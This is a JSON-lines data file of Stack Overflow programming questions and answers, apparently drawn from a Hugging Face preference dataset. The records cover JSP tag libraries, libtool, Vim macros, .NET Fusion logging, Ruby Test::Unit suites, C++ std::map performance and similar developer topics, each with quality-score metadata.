{"id": "hf_75638381412b", "question": "<p>I'm interested to know what are the \"must have\" JSP tag libraries apart from JSTL. All I've found so far are</p>\n\n<ul>\n<li><a href=\"http://www.javaranch.com/journal/200601/Journal200601.jsp#a3\" rel=\"nofollow noreferrer\">ccc</a> - for accessing static constants in JSP (without scriptlet)</li>\n<li><a href=\"http://displaytag.sourceforge.net/11/\" rel=\"nofollow noreferrer\">displaytag</a> - for generating sophisticated HTML tables that includes data paging, grouping, sorting, exporting etc.</li>\n</ul>\n\n<p>What other indispensible tag libs are out there?</p>\n", "question_body": "", "answer": "I use displaytag, and have been quite happy with it. The only other tag library I use is the one that comes with the Stripes Action Framework.\nBut my truly indispensable Tag library is the one we wrote.\nAt the office we must have over 50 of them by now for our internal framework.\nThe key behind them, though, is that they're JSP 2.0 Tag Files rather than class JSP Tags written in Java. Tag files are powerful and very easy to use.\nWhere classic JSP tag discouraged tag development because it was so difficult, Tag Files encourage it to where it's trivial for refactoring JSP pages now.\nI think Tag Files and JSTL turned JSP as a page markup technology from mediocre to one of the best out there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.419978"}
{"id": "hf_9189d55e4af9", "question": "<p>I'm using autotools to build a shared object.  </p>\n\n<p>Using <code>pkglib_LTLIBRARIES</code> in my Makefile.am causes a <code>libtest.la</code> AND <code>libtest.so</code> to be built.</p>\n\n<p>I <em>only</em> want it to build/install <code>libtest.so</code>.</p>\n\n<p>Is this possible?</p>\n", "question_body": "", "answer": "The details of generating libraries varies widely from platform to platform. For example, on OS X, your library would be called libtest.dylib rather then libtest.so. libtool is part of the autotools suite, and its job is to abstract away all the messy platform dependent details. To do this, it creates a high-level, platform independent description of the library. This is is the libtest.la file you are seeing. libtools uses this platform independent description of the library to put together the final native library.\nIf you are using the autotools I don't think you are going to be able to avoid generating libtest.la. I suppose you could hack your local libtool shell script to remove it at completion, but you'd just have to generate it again the next time you ran make.\nI found the\nGNU documentation on libtool\nsomewhat opaque. Here is a\nless opaque but kind of dated description\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.474598"}
{"id": "hf_a4a85766fcf6", "question": "<p>I've heard that it's possible with extension methods, but I can't quite figure it out myself. I'd like to see a specific example if possible.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "It really depends on what you mean by \"mixin\" - everyone seems to have a slightly different idea. The kind of mixin I'd\nlike\nto see (but which isn't available in C#) is making implementation-through-composition simple:\n```\n```\npublic class Mixin : ISomeInterface\n{\n    private SomeImplementation impl implements ISomeInterface;\n\n    public void OneMethod()\n    {\n        // Specialise just this method\n    }\n}\n```\n```\nThe compiler would implement ISomeInterface just by proxying every member to \"impl\" unless there was another implementation in the class directly.\nNone of this is possible at the moment though :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.508464"}
{"id": "hf_46588e55d356", "question": "<p>I'm a newbie at networking.  I understand the concept of multicast, but was wondering if it's reliable on the open/public internet?</p>\n\n<p>It seems like sort of an edge case that different backbones or ISPs might intentionally break to reduce router load or generally segment the network for practical high-use applications.</p>\n\n<p>Is my fear reasonable?</p>\n\n<p>P.S. Follow-up question here:\n<a href=\"https://stackoverflow.com/questions/256125/best-tutorial-for-application-multicasting\">Best tutorial for application multicasting?</a></p>\n", "question_body": "", "answer": "IP multicast in the internet doesn't really work. From the\nWikipedia article\n:\nFor both these reasons, and also\n  reasons of economics, IP Multicast is\n  not in general use in the commercial\n  Internet.\nPeople who desire to participate in the global IP multicast need to attach themselves to the MBONE. The Wikipedia article points out that application-level multicast infrastructures do work, e.g. IRC.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.538884"}
{"id": "hf_0656d4278fbc", "question": "<p>Which sql data type should we use for number bases primary key:</p>\n\n<ol>\n<li>int</li>\n<li>bigint</li>\n<li>numeric</li>\n<li>float</li>\n</ol>\n", "question_body": "", "answer": "Generally,\n```\nint\n```\n.\n```\nbigint\n```\nif you think you'll have more rows than there are atoms in the universe.\n```\nuniqueidentifier\n```\nis useful if you need\nglobally\nunique keys (keys that are guaranteed to be unique across all tables in your schema, maybe even universally unique (I don't remember))\nThe other two I wouldn't use they're not integral types (they have fractions, which just don't make a lot of sense as keys)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.580214"}
{"id": "hf_e40a2ea39896", "question": "<p>I am having some trouble manipulating images using CodeIgniter 1.7.  With the following code, the image is uploaded correctly. Alas, instead of a new image being made, and then modified; the existing image is modified. Any help?</p>\n\n<pre><code>//Upload image first\n$config['upload_path'] = './uploads/';\n$config['allowed_types'] = 'gif|jpg|png|bmp';\n\n$this-&gt;load-&gt;library('upload', $config);        \n$this-&gt;upload-&gt;do_upload();\n\n//Now fix the image\n$picloc = $this-&gt;upload-&gt;data();\n$picloc = $picloc['file_name'];\n\n$thumbnail = \"thumb_\".$picloc;\n\n$imagemanip['image_library'] = 'gd2';\n$imagemanip['source_image'] = './uploads/'.$picloc;\n$imagemanip['new_img'] = './uploads/'.$thumbnail;\n$imagemanip['maintain_ratio'] = TRUE;\n$imagemanip['width'] = 250;\n$imagemanip['height'] = 250;\n\n$this-&gt;load-&gt;library('image_lib', $imagemanip);\n\n$this-&gt;image_lib-&gt;resize();\n</code></pre>\n", "question_body": "", "answer": "The problem is simple, you have a typo in the line:\n```\n```\n$imagemanip['new_img'] = './uploads/'.$thumbnail;\n```\n```\nThe the index should be \"new_image\", not \"new_img\", so the line becomes..\n```\n```\n$imagemanip['new_image'] = './uploads/'.$thumbnail;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.603866"}
{"id": "hf_33103965c54a", "question": "<p>What is the best way to store a large number of data points?</p>\n\n<p>For example temperature values which are measured every minute over lots of locations?</p>\n\n<p>SQL databases with one row per data points doesn't seem very efficient.</p>\n", "question_body": "", "answer": "I would like to know why you reckon it to be \"not efficient\". Probably you need to explain your data model and schema to give a better context of the scenario.\nStoring multiple data points into a single row, when they are not related to each other, and should indeed stand on their own, is not a good approach. Meshing together will result in very counter-intuitive and quirky query statements to pull out the correct data points you need for a given scenario.\nWe have done work in a power station before, collecting data from various systems and metering equipment a wide variety of gas and electrical parameters that need to be monitored and aggregated. They can come in every 3-5 minutes to 30-60 minutes depending on the type of parameters. These naturally results in millions of records per month.\nThe key is indexing the tables properly so that their physical order is tied to sequence in which the records came in. (Clustered index)  New pages and extents are created and filled sequentially by incoming data. This should prevent massive page splits and reshuffling.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.641775"}
{"id": "hf_7abee97ade48", "question": "<p>I am working on a PHP application that intends to ease company workflow and project management, let's say something like <a href=\"http://www.basecamphq.com/\" rel=\"noreferrer\">Basecamp</a> and <a href=\"http://goplan.org\" rel=\"noreferrer\">GoPlan</a>.</p>\n\n<p>I am not sure on what the best approach is, database-wise. Should I use a single database and add client-specific columns to each of the tables, or should I create a database for each new client? An important factor is automation: I want it to be dead simple to create a new client (and perhaps opening the possibility to signing up for yourself).</p>\n\n<p>Possible cons I can think of using one database:</p>\n\n<ul>\n<li>Lack of extensibility</li>\n<li>Security problems (although bugs <em>shouldn't be there in the first place</em>)</li>\n</ul>\n\n<p>What are your thoughts on this? Do you have any ideas what solution the above companies are most likely to have chosen? </p>\n", "question_body": "", "answer": "For multitenancy, performance will typically increase the more resources you manage to share across tenants, see\nhttp://en.wikipedia.org/wiki/Multitenancy\nSo if you can, go with the single database. I agree that security problems would only occur due to bugs, as you can implement all access control in the application. In some databases, you can still use the database access control by careful use of views (so that each authenticated user gets a different view).\nThere are ways to provide extensibility also. For example, you could create a single table with extension attributes (keyed by tenant, base record, and extension attribute id). Or you can create per-tenant extension tables, so that each tenant has his own extension schema.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.714355"}
{"id": "hf_e83256d46318", "question": "<p>While using Vim (at home and at work), I often find myself doing similar things repeatedly. For example, I may turn a bunch of CSV text into a series of SQL inserts. I've been using Vim for years, but only recently have I tried to seriously think about how I could improve my productivity while using it.</p>\n\n<p>My question is.. Is there a good way (or right way) to store commonly used commands or command sequences? And how is the best way to execute them? It would be nice to be able to use the same script on a live session and also over the command line against some file.</p>\n\n<p>I'm hoping that I can store them in a .vim file so that I can hand them to coworkers (who are not as proficient with vim) for them to use.</p>\n", "question_body": "", "answer": "You can store your common task macros in .vim files, like\nthis\nfor example, and then you can load them with the command\n:so file.vim\nHere\nyou can find a bunch of useful macros, also I recommend you to learn well the useful\nq\nmacro recording\ncommand, it's very very powerful...\nThe macros created with the\nq\ncommand are stored in a register, qq stores the macro in the q register, so when you end the recording you can simply paste the macro, with\n\"qp\nand save it, later you can load it by simply yanking the macro into a register i.e.:\n\"qY\n, the macros are only text and remember you can use any register instead of q. There is a Vim Script for storing\nq\nmacros:\nmarvim : Macro Persistent Storage and Shareable Repository for VIM\nAlso take a look to the\nVim Scripting Language\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.737200"}
{"id": "hf_3d61e1d7d84c", "question": "<p>How can I count operations in C++? I'd like to analyze code in a better way than just timing it since the time is often rounded to 0 millisec.</p>\n", "question_body": "", "answer": "If you are timing code, it's worth running it a lot of times in a loop to avoid the effect of the timer resolution. So you might run the thing you're timing 10,000 times and measure the amount of time it takes to run all the iterations. It will probably only take a few seconds to run and you'll get better timing data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.786072"}
{"id": "hf_99679ae8082a", "question": "<p>How do I enable assembly bind failure logging (Fusion) in .NET?</p>\n", "question_body": "", "answer": "Set the following registry value:\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Fusion!EnableLog] (DWORD) to 1\nTo disable, set to 0 or delete the value.\n[edit ]:Save the following text to a file, e.g FusionEnableLog.reg, in\nWindows Registry Editor Format:\n```\n```\nWindows Registry Editor Version 5.00\n\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Fusion]\n\"EnableLog\"=dword:00000001\n```\n```\nThen run the file from windows explorer and ignore the warning about possible damage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.810241"}
{"id": "hf_bce3d17eaba0", "question": "<p>So I've got a Ruby method like this:</p>\n\n<pre><code>def something(variable, &amp;block)\n  ....\nend\n</code></pre>\n\n<p>And I want to call it like this:</p>\n\n<pre><code>something 'hello' { do_it }\n</code></pre>\n\n<p>Except that isn't working for me, I'm getting a syntax error. If I do this instead, it works:</p>\n\n<pre><code>something 'hello' do\n  do_it\nend\n</code></pre>\n\n<p>Except there I'm kind of missing the nice look of it being on one line.</p>\n\n<p>I can see why this is happening, as it could look like it's a hash being passed as a second variable, but without a comma in between the variables...but I assume that there must be a way to deal with this that I'm missing. Is there?</p>\n", "question_body": "", "answer": "If you want \"def something\" to to accept a block, you need to yield data to that block. For example:\n```\n```\n#to uppercase string\ndef something(my_input)\n yield my_input.upcase\nend\n\n# => \"HELLO WORLD\"\nsomething(\"hello world\") { |i| puts i}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.870613"}
{"id": "hf_7fa72136d6a1", "question": "<p>I'm new to the VxWorks Environment are there any good sources of information out there? </p>\n", "question_body": "", "answer": "If your budget allows it, I would recommend taking one of the courses offered by WindRiver.  My company brought in one of their trainers to teach a class on-site and it was excellent.  They provided hands-on programming activities and a lot of information.  If you are new to the concepts of real-time or embedded programming, they provided the necessary background information, and even if you were already familiar with these (as I was), there was plenty of useful training specific to VxWorks and Workbench.  I believe they also organize their own courses, in addition to coming to companies.\nCourse Schedule", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.941628"}
{"id": "hf_7844f7d74f55", "question": "<p>I'm new to the VxWorks environment, I'm wondering what C and C++ compilers are available for use with VxWorks?</p>\n", "question_body": "", "answer": "As far as i know Tornado VxWorks IDE using gcc toolchain.\nAny way i suggest to use the compiler provided by WindRiver (which i believe their version \nof gcc)  to avoid compatibility problems. \nIt's probably worth to menation the VxWorks version you having in mind.\nI guess gcc version will be depend on VxWorks version and probably on target platform.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:55.977182"}
{"id": "hf_52aac843db37", "question": "<p>In a web application I am developing, I wish to implement wiki-style edits (where each and every edit is saved, can be compared, and users can rollback edits easily).</p>\n\n<p>What is a good way of implementing this without re-inventing the wheel too much?</p>\n\n<p>Thank you in advance.</p>\n", "question_body": "", "answer": "I believe you're really seeking a\nContent Management System\n(CMS), of which a Wiki is a specialization (IMHO).\nGoogling '\nCMS Open Source\n' brings as its top hit:\nOpen Source CMS\n, try before you install\nJoomla\nDrupal\nWordpress\nAnd a\nlot\nof other information.\nCommercially, I really like Atlassian's\nConfluence\n.  Wiki like markup, editing history, easily attach documents and now supporting editing in Word, Excel & Powerpoint.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.047140"}
{"id": "hf_0a762499c3f3", "question": "<p>I have the following line:</p>\n\n<pre><code>\"14:48 say;0ed673079715c343281355c2a1fde843;2;laka;hello ;)\"\n</code></pre>\n\n<p>I parse this by using a simple regexp:</p>\n\n<pre><code>if($line =~ /(\\d+:\\d+)\\ssay;(.*);(.*);(.*);(.*)/) {\n    my($ts, $hash, $pid, $handle, $quote) = ($1, $2, $3, $4, $5);\n}\n</code></pre>\n\n<p>But the ; at the end messes things up and I don't know why. Shouldn't the greedy operator handle \"everything\"?</p>\n", "question_body": "", "answer": "Try making the first 3\n```\n(.*)\n```\nungreedy\n```\n(.*?)\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.070742"}
{"id": "hf_d6380c52c7e5", "question": "<p>I've been writing a lot recently about Parallel computing and programming and I do notice that there are a lot of patterns that come up when it comes to parallel computing. Noting that Microsoft already has released a library along with the Microsoft Visual C++ 2010 Community Technical Preview (named Parallel Patterns Library) I'm wondering what are the common parallel programming patterns you have been using and encountering that may be worth remembering? Do you have any idioms you follow and patterns that you seem to keep popping up as you write parallel programs with C++?</p>\n", "question_body": "", "answer": "First you have to chose between shared-memory computing, and shared-nothing computing. Shared memory is easier, but doesn't scale that well - you will use shared-nothing if you either\na) have a cluster, rather than a multiprocessor system, or\nb) if you have many CPUs (say, > 60), and a high degree of non-uniform memory\nFor shared-memory, the common solution is to use threads; they are easy to understand as a concept, and easy to use in the API (but difficult to debug).\nFor shared-nothing, you use some kind of messaging. In high-performance computing, MPI is established as the messaging middleware.\nYou then also need to design an architecture for the parallel activities. The most common approach (again because it's easy to understand) is the farmer-worker-pattern (a.k.a. master-slave).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.129413"}
{"id": "hf_0e7675dde16a", "question": "<p>I am trying to insert an image (jpg) in to a word document and the Selection.InlineShapes.AddPicture does not seem to be supported by win32old or I am doing something wrong.  Has anyone had any luck inserting images.  </p>\n", "question_body": "", "answer": "Running on WinXP, Ruby 1.8.6, Word 2002/XP SP3, I recorded macros and translated them, as far as I could understand them, into this:\n```\n```\nrequire 'win32ole'\n\nbegin\n  word = WIN32OLE::new('Word.Application')   # create winole Object\n  doc = word.Documents.Add\n  word.Selection.InlineShapes.AddPicture \"C:\\\\pictures\\\\some_picture.jpg\", false, true\n  word.ChangeFileOpenDirectory \"C:\\\\docs\\\\\"\n  doc.SaveAs \"doc_with_pic.doc\"\n  word.Quit\nrescue Exception => e\n  puts e\n  word.Quit\nensure\n  word.Quit unless word.nil?\nend\n```\n```\nIt seems to work. Any use?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.165394"}
{"id": "hf_63b7695c29d3", "question": "<p>I want to make an MVC route for a list of news, which can be served in several formats.</p>\n\n<ul>\n<li>news -> (X)HTML</li>\n<li>news.rss -> RSS</li>\n<li>news.atom -> ATOM</li>\n</ul>\n\n<p>Is it possible to do this (the more general \"optional extension\" situation crops up in several places in my planned design) with one route? Or do I need to make two routes like this:</p>\n\n<pre><code>routes.MapRoute(\"News-ImplicitFormat\",\n                \"news\",\n                new { controller = \"News\", action = \"Browse\", format = \"\" });\n\nroutes.MapRoute(\"News-ExplicitFormat\",\n                \"news.{format}\"\n                new { controller = \"News\", action = \"Browse\" });\n</code></pre>\n\n<p>It seems like it would be useful to have the routing system support something like:</p>\n\n<pre><code>routes.MapRoute(\"News\",\n                \"news(.{format})?\",\n                new { controller = \"News\", action = \"Browse\" });\n</code></pre>\n", "question_body": "", "answer": "I made a method to support adding pairs like this as follows:\n```\n```\npublic static void MapRouteWithOptionalFormat(this RouteCollection routes,\n                                              string name,\n                                              string url,\n                                              object defaults)\n{\n    Route implicitRoute = routes.MapRoute(name + \"-ImplicitFormat\",\n                                          url,\n                                          defaults);\n    implicitRoute.Defaults.Add(\"format\", string.Empty);\n\n    Route explicitRoute = routes.MapRoute(name + \"-ExplicitFormat\",\n                                          url + \".{format}\",\n                                          defaults);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.201002"}
{"id": "hf_2ad04859ca56", "question": "<p>For a requirement i was asked to export information into a custom entity that was created in MS CRM 4.0. I am trying to do this programmatically and I have not found a single code that actually accomplishes this. I wrote code to check if a certain value for a field exists in the entity but creating a new entity seems to be a little bit of puzzle for me. Any help on this would be appreciated.</p>\n", "question_body": "", "answer": "This is my experience when I had a similar requirement in MS CRM 3.0. I started using the CRM sdk to import data but found it was not easy.\nThen I ended up using\nScribe adapter for CRM\n. It is not free but will easily solve your problem for importing to custom entities. Will post some links on that. need to go through some old bookmarks.\nNot sure if this feature exist out of the box for CRM 4.0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.257136"}
{"id": "hf_7e259989388e", "question": "<p>I'm writing an iOS app with a table view inside a tab view. In my <code>UITableViewController</code>, I implemented <code>-tableView:didSelectRowAtIndexPath:</code>, but when I select a row at runtime, the method isn't being called.  The table view is being populated though, so I know that other tableView methods in my controller are being called.</p>\n\n<p>Does anyone have any ideas what I may have screwed up to make this happen?</p>\n", "question_body": "", "answer": "It sounds like perhaps the class is not the\n```\nUITableViewDelegate\n```\nfor that table view, though\n```\nUITableViewController\n```\nis supposed to set that automatically.\nAny chance you reset the delegate to some other class?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.318240"}
{"id": "hf_09f0bb59fc02", "question": "<p>Returning to WinForms in VS2008 after a long time.. Tinkering with a OOD problem in VS2008 Express Edition.</p>\n\n<p>I need some controls to be \"display only\" widgets. The user should not be able to change the value of these controls... the widgets are updated by a periodic update tick event. I vaguely remember there being a ReadOnly property that you could set to have this behavior... can't find it now.</p>\n\n<p>The <strong>Enabled</strong> property set to false: grays out the control content. I want the control to look normal.\nThe <strong>Locked</strong> property set to false: seems to be protecting the user from accidentally distorting the control in the Visual Form Designer.</p>\n\n<p>What am I missing? </p>\n", "question_body": "", "answer": "For some typical winforms controls:\nhttp://jquiz.wordpress.com/2007/05/29/c-winforms-readonly-controls/\nThis is also a good tip to preserve the appearance:\n```\n```\nColor clr = textBox1.BackColor;\n    textBox1.ReadOnly = true;\n    textBox1.BackColor = clr;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.374528"}
{"id": "hf_7bc19bc35f6b", "question": "<p>I'm struggling with Test::Unit.  When I think of unit tests, I think of one simple test per file.  But in Ruby's framework, I must instead write:  </p>\n\n<pre><code>class MyTest &lt; Test::Unit::TestCase \n   def setup \n   end\n\n   def test_1 \n   end\n\n   def test_1 \n   end\nend\n</code></pre>\n\n<p>But setup and teardown run for every invocation of a test_* method.  This is exactly what I don't want.  Rather, I want a setup method that runs just once for the whole class.  But I can't seem to write my own initialize() without breaking TestCase's initialize.</p>\n\n<p>Is that possible?  Or am I making this hopelessly complicated?</p>\n", "question_body": "", "answer": "That's how it's supposed to work!\nEach test should be completely isolated from the rest, so the\n```\nsetup\n```\nand\n```\ntear_down\n```\nmethods are executed once for every test-case. There are cases, however, when you might want more control over the execution flow. Then you can group the test-cases in\nsuites\n.\nIn your case you could write something like the following:\n```\n```\nrequire 'test/unit'\nrequire 'test/unit/ui/console/testrunner'\n\nclass TestDecorator < Test::Unit::TestSuite\n\n  def initialize(test_case_class)\n    super\n    self << test_case_class.suite\n  end\n\n  def run(result, &progress_block)\n    setup_suite\n    begin\n      super(result, &progress_block)      \n    ensure\n      tear_down_suite\n    end\n  end\n\nend\n\nclass MyTestCase < Test::Unit::TestCase\n\n  def test_1\n    puts \"test_1\"\n    assert_equal(1, 1)\n  end\n\n  def test_2\n    puts \"test_2\"\n    assert_equal(2, 2)\n  end\n\nend\n\nclass MySuite < TestDecorator\n\n  def setup_suite\n    puts \"setup_suite\"\n  end\n\n  def tear_down_suite\n    puts \"tear_down_suite\"\n  end\n\nend\n\nTest::Unit::UI::Console::TestRunner.run(MySuite.new(MyTestCase))\n```\n```\nThe\n```\nTestDecorator\n```\ndefines a special suite which provides a\n```\nsetup\n```\nand\n```\ntear_down\n```\nmethod which run only once before and after the running of the set of test-cases it contains.\nThe drawback of this is that you need to tell\nTest::Unit\nhow to run the tests in the unit. In the event your unit contains many test-cases and you need a decorator for only one of them you'll need something like this:\n```\n```\nrequire 'test/unit'\nrequire 'test/unit/ui/console/testrunner'\n\nclass TestDecorator < Test::Unit::TestSuite\n\n  def initialize(test_case_class)\n    super\n    self << test_case_class.suite\n  end\n\n  def run(result, &progress_block)\n    setup_suite\n    begin\n      super(result, &progress_block)      \n    ensure\n      tear_down_suite\n    end\n  end\n\nend\n\nclass MyTestCase < Test::Unit::TestCase\n\n  def test_1\n    puts \"test_1\"\n    assert_equal(1, 1)\n  end\n\n  def test_2\n    puts \"test_2\"\n    assert_equal(2, 2)\n  end\n\nend\n\nclass MySuite < TestDecorator\n\n  def setup_suite\n    puts \"setup_suite\"\n  end\n\n  def tear_down_suite\n    puts \"tear_down_suite\"\n  end\n\nend\n\nclass AnotherTestCase < Test::Unit::TestCase\n\n  def test_a\n    puts \"test_a\"\n    assert_equal(\"a\", \"a\")\n  end\n\nend\n\nclass Tests\n\n  def self.suite\n    suite = Test::Unit::TestSuite.new\n    suite << MySuite.new(MyTestCase)\n    suite << AnotherTestCase.suite\n    suite\n  end\n\nend\n\nTest::Unit::UI::Console::TestRunner.run(Tests.suite)\n```\n```\nThe\nTest::Unit\ndocumentation\ndocumentation provides a good explanation on how suites work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.409908"}
{"id": "hf_cc1f3f56a282", "question": "<p>Is std::string size() a O(1) operation?</p>\n\n<p>The implementation of STL I'm using is the one built into VC++</p>\n", "question_body": "", "answer": "```\n```\nsize_type __CLR_OR_THIS_CALL size() const\n\n{   // return length of sequence\n\n    return (_Mysize);\n\n}\n```\n```\nSo it eventually might be like this, but you can never be sure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.486062"}
{"id": "hf_8b8e2ba34b05", "question": "<p>I'm using a <code>std::map</code> (VC++ implementation) and it's a little slow for lookups via the map's find method. </p>\n\n<p>The key type is <code>std::string</code>.</p>\n\n<p>Can I increase the performance of this <code>std::map</code> lookup via a custom key compare override for the map? For example, maybe <code>std::string</code> &lt; compare doesn't take into consideration a simple <code>string::size()</code> compare before comparing its data?</p>\n\n<p>Any other ideas to speed up the compare?</p>\n\n<p>In my situation the map will always contain &lt; 15 elements, but it is being queried non stop and performance is critical.   Maybe there is a better data structure that I can use that would be faster?</p>\n\n<p>Update: The map contains file paths.</p>\n\n<p>Update2: The map's elements are changing often.</p>\n", "question_body": "", "answer": "The first thing is to try using a hash_map if that's possible - you are right that the standard string compare doesn't first check for size (since it compares lexicographically), but writing your own map code is something you'd be better off avoiding. From your question it sounds like you do not need to iterate over ranges; in that case map doesn't have anything hash_map doesn't.\nIt also depends on what sort of keys you have in your map. Are they typically very long? Also what does \"a little slow\" mean? If you have not profiled the code it's quite possible that it's a different part taking time.\nUpdate: Hmm, the bottleneck in your program is a map::find, but the map always has less than 15 elements. This makes me suspect that the profile was somehow misleading, because a find on a map this small should not be slow, at all. In fact, a map::find should be so fast, just the overhead of profiling could be more than the find call itself. I have to ask again, are you sure this is really the bottleneck in your program? You say the strings are paths, but you're not doing any sort of OS calls, file system access, disk access in this loop? Any of those should be orders of magnitude slower than a map::find on a small map. Really any way of getting a string should be slower than the map::find.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.508524"}
